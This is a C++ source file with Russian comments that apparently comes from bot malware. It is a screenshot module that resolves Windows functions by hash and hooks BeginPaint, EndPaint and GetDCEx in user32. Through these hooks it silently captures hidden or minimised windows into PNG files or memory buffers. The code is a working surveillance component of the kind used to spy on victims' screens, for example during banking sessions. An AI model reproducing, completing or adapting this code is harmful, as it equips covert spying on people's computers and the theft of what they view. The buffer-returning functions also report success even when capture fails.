//--------------------------------------------------------------------------- #include "ScreenShots.h" #include "gdiplus.h" #include "GetApi.h" #include "Memory.h" #include "Utils.h" #include "BotUtils.h" #include "Splice.h" #include "Unhook.h" //--------------------------------------------------------------------------- static void SaveScreenShotToPng( HBITMAP bmp, PWCHAR FileName ) { static const GUID png = {0x557cf406,0x1a04,0x11d3,{0x9a,0x73,0x00,0x00,0xf8,0x1e,0xf3,0x2e}}; using namespace Gdiplus; ULONG_PTR token; GdiplusStartupInput input; m_memset( &input, 0, sizeof(input) ); input.GdiplusVersion=1; pGdiplusStartup(&token, &input,0); GpBitmap* hGdiImg; // DllExports::GdipCreateBitmapFromHBITMAP( bmp, NULL, &hGdiImg); // DllExports::GdipSaveImageToFile( hGdiImg, FileName, (CLSID*)&png, NULL); // DllExports::GdipDisposeImage(hGdiImg); pGdipCreateBitmapFromHBITMAP( bmp, NULL, &hGdiImg); pGdipSaveImageToFile(hGdiImg, FileName, (CLSID*)&png, NULL); pGdipDisposeImage(hGdiImg); pGdiplusShutdown(token); } void ScreenShotDrawCursor(HDC DC, int ImgX, int ImgY, PDrawCursorInfo DrawCursor) { // Функция отрисовывает курсор на скриншоте RECT R; int W2 = DrawCursor->PointWidth / 2; int X = DrawCursor->X - ImgX; int Y = DrawCursor->Y - ImgY; R.left = X - W2; R.top = Y - W2; R.right = X + W2; R.bottom = Y + W2; HBRUSH Brush=(HBRUSH)pCreateSolidBrush(DrawCursor->Color); pFillRect(DC,&R, Brush); pDeleteObject(Brush); } bool ScreenShot::Make(HWND Wnd, int X, int Y, DWORD Width, DWORD Height, PDrawCursorInfo DrawCursor, PWCHAR FileName) { if (STRW::IsEmpty(FileName)) return false; static const GUID png = {0x557cf406,0x1a04,0x11d3,{0x9a,0x73,0x00,0x00,0xf8,0x1e,0xf3,0x2e}}; // Получаем контекст окна HDC DC = (HDC)pGetWindowDC(Wnd); if (DC == NULL) return false; // Получаем границы окна RECT Rect; ClearStruct(Rect); if (Wnd != NULL) pGetWindowRect(Wnd, &Rect); else if (Width == 0 || Height == 0) { Rect.right = (long)pGetDeviceCaps(DC, HORZRES); Rect.bottom = (long)pGetDeviceCaps(DC, VERTRES); } if (Width == 0) Width = Rect.right - Rect.left; if (Height == 0) Height = Rect.bottom - Rect.top; // Отрисовываем окно HBITMAP Bitmap = (HBITMAP)pCreateCompatibleBitmap(DC, Width, Height); HDC CompDC = (HDC)pCreateCompatibleDC(DC); pSelectObject(CompDC, Bitmap); pBitBlt(CompDC, 0, 0, Width, Height, DC, X , Y, SRCCOPY); // Отрисовываем курсор // HCURSOR hArrow=(HCURSOR)pLoadCursorW(NULL,IDC_ARROW); // // ICONINFO iconinfo={0}; // pGetIconInfo(hArrow,&iconinfo); // pDrawIcon(hCompDC,SSHOT_WIDTH/2-iconinfo.xHotspot,SSHOT_HEIGHT/2-iconinfo.yHotspot,hArrow); // pDeleteObject(hArrow); // Рисуем надпись // rect.top=0; // rect.right=0; // rect.left=SSHOT_WIDTH; // rect.bottom=SSHOT_HEIGHT; // pSetTextColor(hCompDC,0x0); // pSetBkColor(hCompDC,0xFFFFFF); // pDrawTextA(hCompDC,lpUrl,-1,&rect,DT_BOTTOM+DT_SINGLELINE+DT_CENTER); // Отрисовываем курсор if (DrawCursor != NULL) ScreenShotDrawCursor(CompDC, X, Y, DrawCursor); pDeleteDC(CompDC); // Сохраняем картинку в файл SaveScreenShotToPng( Bitmap, FileName ); pDeleteObject(Bitmap); pReleaseDC(Wnd, DC); return true; } //--------------------------------------------------------------------------- bool ScreenShot::Make(HWND Wnd, int X, int Y, DWORD Width, DWORD Height, PDrawCursorInfo DrawCursor, PCHAR FileName) { PWCHAR FN = AnsiToUnicode(FileName, 0); bool R = Make(Wnd, X, Y, Width, Height, DrawCursor, FN); MemFree(FN); return R; } //--------------------------------------------------------------------------- //------------------------------------------------------ // CaptureScreen - Функция делает скриншот экрана //------------------------------------------------------ bool ScreenShot::CaptureScreenA(PCHAR FileName) { return Make(NULL, 0, 0, 0, 0, NULL, FileName); } //--------------------------------------------------------------------------- bool ScreenShot::CaptureScreenW(PWCHAR FileName) { return Make(NULL, 0, 0, 0, 0, NULL, FileName); } //--------------------------------------------------------------------------- bool ScreenShot::MakeToMem(HWND Wnd, int X, int Y, DWORD Width, DWORD Height, PDrawCursorInfo DrawCursor, LPBYTE &OutData, DWORD &OutDataSize) { OutData = NULL; OutDataSize = 0; PWCHAR FileName = GetTempName(); if (FileName == NULL) return false; // Делаем снимок bool Result = Make(Wnd, X, Y, Width, Height, DrawCursor, FileName); if (Result) { OutData = File::ReadToBufferW(FileName, OutDataSize); Result = OutDataSize != 0; } // Удаляем временный файл pDeleteFileW(FileName); MemFree(FileName); return true; } /* void DbgMsg(const char *format, ...) { char buf[512]; va_list mylist; va_start(mylist, format); wvsprintf(buf, format, mylist); va_end(mylist); } */ /******************************************************************************************************/ // Методы скриншота скрытых окон typedef HDC (WINAPI* typeBeginPaint)( HWND hwnd, LPPAINTSTRUCT lpPaint ); typedef BOOL (WINAPI* typeEndPaint)( HWND hWnd, CONST PAINTSTRUCT *lpPaint ); typedef HDC (WINAPI* typeGetDCEx)( HWND hWnd, HRGN hrgnClip, DWORD flags ); const DWORD Hash_BeginPaint = 0x69F5D020; const DWORD Hash_EndPaint = 0xCB1CC51; const DWORD Hash_GetDCEx = 0x4891FDD7; typeBeginPaint Real_BeginPaint; typeEndPaint Real_EndPaint; typeGetDCEx Real_GetDCEx; static HWND wndScreenShot = 0; static HDC dcScreenShot = 0; static RECT wndRect; //static int abcd = 0; //для сохранения параметров между вызовов BeginPaint и EndPaint struct DCScrShot { HWND wnd; HDC dc; HDC dcOriginal; HBITMAP oldBmp; }; const int MaxDCSaved = 20; static DCScrShot* dcSaved = 0; //находит сохраненные параметры для окна или дает свободную ячейку (wnd == 0) DCScrShot* GetSavedDC( HWND wnd ) { for( int i = 0; i < MaxDCSaved; i++ ) if( dcSaved[i].wnd == wnd ) return &dcSaved[i]; return 0; } //определяет экранные координаты клиентской области static void GetScreenClientRect( HWND wnd, RECT* r ) { pGetClientRect( wnd, r ); POINT p; p.x = r->left; p.y = r->top; pClientToScreen( wnd, &p ); r->left += p.x; r->right += p.x; r->top += p.y; r->bottom += p.y; } //рисует контекст котрола на контексте где делаем скриншот, NC - для неклиентской области static void DrawSavedDC( bool NC, HWND wnd, HDC dc, int x, int y, int w, int h ) { RECT r; if( NC ) pGetWindowRect( wnd, &r ); else GetScreenClientRect( wnd, &r ); pBitBlt( dcScreenShot, r.left - wndRect.left, r.top - wndRect.top, w, h, dc, x, y, SRCCOPY ); } static void FillBackground( HWND hWnd, HDC dc ) { HBRUSH brush = (HBRUSH)pGetClassLongA( hWnd, GCL_HBRBACKGROUND ); //цвет фона RECT r; pGetWindowRect( hWnd, &r ); r.right -= r.left; r.bottom -= r.top; r.left = 0; r.top = 0; pFillRect( dc, &r, brush ); } //перехват функции BeginPaint static HDC WINAPI HookBeginPaint( HWND hwnd, LPPAINTSTRUCT lpPaint ) { HDC dc = Real_BeginPaint( hwnd, lpPaint ); if( dcScreenShot ) //в режиме скриншота { DCScrShot* dss = GetSavedDC(0); //ищем свободную ячейку if( dss ) { dss->wnd = hwnd; //сохраняем параметры dss->dcOriginal = dc; dss->dc = (HDC)pCreateCompatibleDC(dc); //создаем новое контекстное устройство pGetClientRect( hwnd, &lpPaint->rcPaint ); int h = lpPaint->rcPaint.bottom - lpPaint->rcPaint.top; int w = lpPaint->rcPaint.right - lpPaint->rcPaint.left; //DbgMsg( " %d (%d,%d)", abcd, w, h ); HBITMAP bmp = (HBITMAP)pCreateCompatibleBitmap( dc, w, h ); dss->oldBmp = (HBITMAP)pSelectObject( dss->dc, bmp ); RECT r; GetScreenClientRect( hwnd, &r ); BitBlt( dss->dc, 0, 0, w, h, dcScreenShot, r.left - wndRect.left, r.top - wndRect.top, SRCCOPY ); lpPaint->hdc = dss->dc; //подменяем на наше } } return lpPaint->hdc; } //перехват окончания обработки события WM_PAINT static BOOL WINAPI HookEndPaint( HWND hWnd, CONST PAINTSTRUCT *lpPaint ) { if( dcScreenShot ) { DCScrShot* dss = GetSavedDC(hWnd); //ищем сохраненную ячейку if( dss ) { int h = lpPaint->rcPaint.bottom - lpPaint->rcPaint.top; int w = lpPaint->rcPaint.right - lpPaint->rcPaint.left; //перебрасываем то что нарисовал процесс в наш контекст DrawSavedDC( false, hWnd, lpPaint->hdc, lpPaint->rcPaint.left, lpPaint->rcPaint.top, w, h ); ((PAINTSTRUCT*)lpPaint)->hdc = dss->dcOriginal; HBITMAP bmp = (HBITMAP) pSelectObject( dss->dc, dss->oldBmp ); /* wchar_t file[MAX_PATH]; RECT r; GetScreenClientRect( hWnd, &r ); DbgMsg( " %d (%d,%d,%d,%d)", abcd, r.left - wndRect.left, r.top - wndRect.top, w, h ); wsprintfW( file, L"c:\\temp\\%03d.png", abcd++ ); SaveScreenShotToPng( bmp, file ); */ pDeleteObject(bmp); pReleaseDC( hWnd, dss->dc ); dss->wnd = 0; } } return Real_EndPaint( hWnd, lpPaint ); } //перехватываем для обработки события WM_NCPAINT static HDC WINAPI HookGetDCEx( HWND hWnd, HRGN hrgnClip, DWORD flags ) { if( dcScreenShot ) { if( hWnd == wndScreenShot ) //рисуется не клиентская область основного окна { return dcScreenShot; } else { DCScrShot* dss = GetSavedDC(0); //ищем свободную ячейку if( dss ) { dss->wnd = hWnd; //сохраняем параметры HDC dc = (HDC)pGetDC(hWnd); dss->dc = (HDC)pCreateCompatibleDC(dc); //создаем новое контекстное устройство RECT r; pGetWindowRect( hWnd, &r ); int h = r.bottom - r.top; int w = r.right - r.left; HBITMAP bmp = (HBITMAP)pCreateCompatibleBitmap( dc, w, h ); dss->oldBmp = (HBITMAP)pSelectObject( dss->dc, bmp ); BitBlt( dss->dc, 0, 0, w, h, dcScreenShot, r.left - wndRect.left, r.top - wndRect.top, SRCCOPY ); pReleaseDC( hWnd, dc ); return dss->dc; } } } return Real_GetDCEx( hWnd, hrgnClip, flags ); } //Посылаем события дочерним окнам, чтобы перерисовались на нашем контексте static BOOL CALLBACK EnumChildProc( HWND hwnd, LPARAM lParam ) { if( pIsWindowVisible(hwnd) ) { pSendMessageA( hwnd, WM_NCPAINT, WPARAM(1), 0 ); DCScrShot* dss = GetSavedDC(hwnd); //ищем сохраненную ячейку if( dss ) { RECT r; pGetWindowRect( hwnd, &r ); int h = r.bottom - r.top; int w = r.right - r.left; //перебрасываем то что нарисовал процесс в наш контекст DrawSavedDC( true, hwnd, dss->dc, 0, 0, w, h ); HBITMAP bmp = (HBITMAP) pSelectObject( dss->dc, dss->oldBmp ); /* wchar_t file[MAX_PATH]; DbgMsg( "NC %d (%d,%d,%d,%d)", abcd, r.left - wndRect.left, r.top - wndRect.top, w, h ); wsprintfW( file, L"c:\\temp\\%03d.png", abcd++ ); SaveScreenShotToPng( bmp, file ); */ pDeleteObject(bmp); pReleaseDC( hwnd, dss->dc ); dss->wnd = 0; } pSendMessageA( hwnd, WM_PAINT, 0, 0 ); } return TRUE; } //управляющая функция для снятия скриншота с скрытого окна bool ScreenShot::DrawWindow( HWND Wnd, PWCHAR FileName ) { //pSendMessageA( Wnd, WM_NCACTIVATE, true, NULL ); //формируем контекст на котором будет рисоваться скриншот HDC dcMem = (HDC)pCreateCompatibleDC(NULL); if( pIsIconic(Wnd) ) //если окно свернуто, то его размеры определяем другим способом { WINDOWPLACEMENT wp; wp.length = sizeof(wp); pGetWindowPlacement( Wnd, &wp ); wndRect.left = wp.rcNormalPosition.left; wndRect.top = wp.rcNormalPosition.top; wndRect.right = wp.rcNormalPosition.right; wndRect.bottom = wp.rcNormalPosition.bottom; } else pGetWindowRect( Wnd, &wndRect); HDC dc = (HDC)pGetDC(Wnd); HBITMAP bmp = (HBITMAP)pCreateCompatibleBitmap( dc, wndRect.right - wndRect.left, wndRect.bottom - wndRect.top ); //в этом bitmap будет наш скриншот pReleaseDC( Wnd, dc ); HGDIOBJ old = pSelectObject( dcMem, bmp ); //инициализация переменных wndScreenShot = Wnd; dcScreenShot = dcMem; dcSaved = (DCScrShot*)HEAP::Alloc( sizeof(DCScrShot) * MaxDCSaved ); //заполняем фоном основное окно FillBackground( Wnd, dcMem ); //хукаем if( !HookApi( DLL_USER32, Hash_BeginPaint, HookBeginPaint, &Real_BeginPaint ) ) return false; if( !HookApi( DLL_USER32, Hash_EndPaint, HookEndPaint, &Real_EndPaint ) ) return false; if( !HookApi( DLL_USER32, Hash_GetDCEx, HookGetDCEx, &Real_GetDCEx ) ) return false; //посылка события основному окну pSendMessageA( Wnd, WM_NCPAINT, WPARAM(1), 0 ); pSendMessageA( Wnd, WM_PAINT, 0, 0 ); //Отсылка событий дочерним окнам pEnumChildWindows( Wnd, EnumChildProc, 0 ); //освобождаем ресурсы wndScreenShot = 0; dcScreenShot = 0; HEAP::Free(dcSaved); dcSaved = 0; UnhookBeginEndPaint(); pSelectObject( dcMem, old ); pDeleteObject( dcMem ); SaveScreenShotToPng( bmp, FileName ); pDeleteObject(bmp); return true; } bool ScreenShot::DrawWindow(HWND Wnd, LPBYTE &OutData, DWORD &OutDataSize) { OutData = NULL; OutDataSize = 0; PWCHAR FileName = GetTempName(); if (FileName == NULL) return false; // Делаем снимок bool Result = DrawWindow( Wnd, FileName ); if (Result) { OutData = File::ReadToBufferW(FileName, OutDataSize); Result = OutDataSize != 0; } // Удаляем временный файл pDeleteFileW(FileName); MemFree(FileName); return true; } bool ScreenShot::DrawWindow2( HWND Wnd, PWCHAR FileName ) { pSendMessageA( Wnd, WM_NCACTIVATE, true, NULL ); //формируем контекст на котором будет рисоваться скриншот HDC dcMem = (HDC)pCreateCompatibleDC(NULL); RECT r; pGetWindowRect( Wnd, &r); HDC dc = (HDC)pGetDC(Wnd); HBITMAP bmp = (HBITMAP)pCreateCompatibleBitmap( dc, r.right - r.left, r.bottom - r.top ); //в этом bitmap будет наш скриншот pReleaseDC( Wnd, dc ); HGDIOBJ old = pSelectObject( dcMem, bmp ); PrintWindow( Wnd, dcMem, 0 ); pSelectObject( dcMem, old ); pDeleteObject( dcMem ); SaveScreenShotToPng( bmp, FileName ); pDeleteObject(bmp); return true; } bool ScreenShot::DrawWindow2(HWND Wnd, LPBYTE &OutData, DWORD &OutDataSize) { OutData = NULL; OutDataSize = 0; PWCHAR FileName = GetTempName(); if (FileName == NULL) return false; // Делаем снимок bool Result = DrawWindow2( Wnd, FileName ); if (Result) { OutData = File::ReadToBufferW(FileName, OutDataSize); Result = OutDataSize != 0; } // Удаляем временный файл pDeleteFileW(FileName); MemFree(FileName); return true; }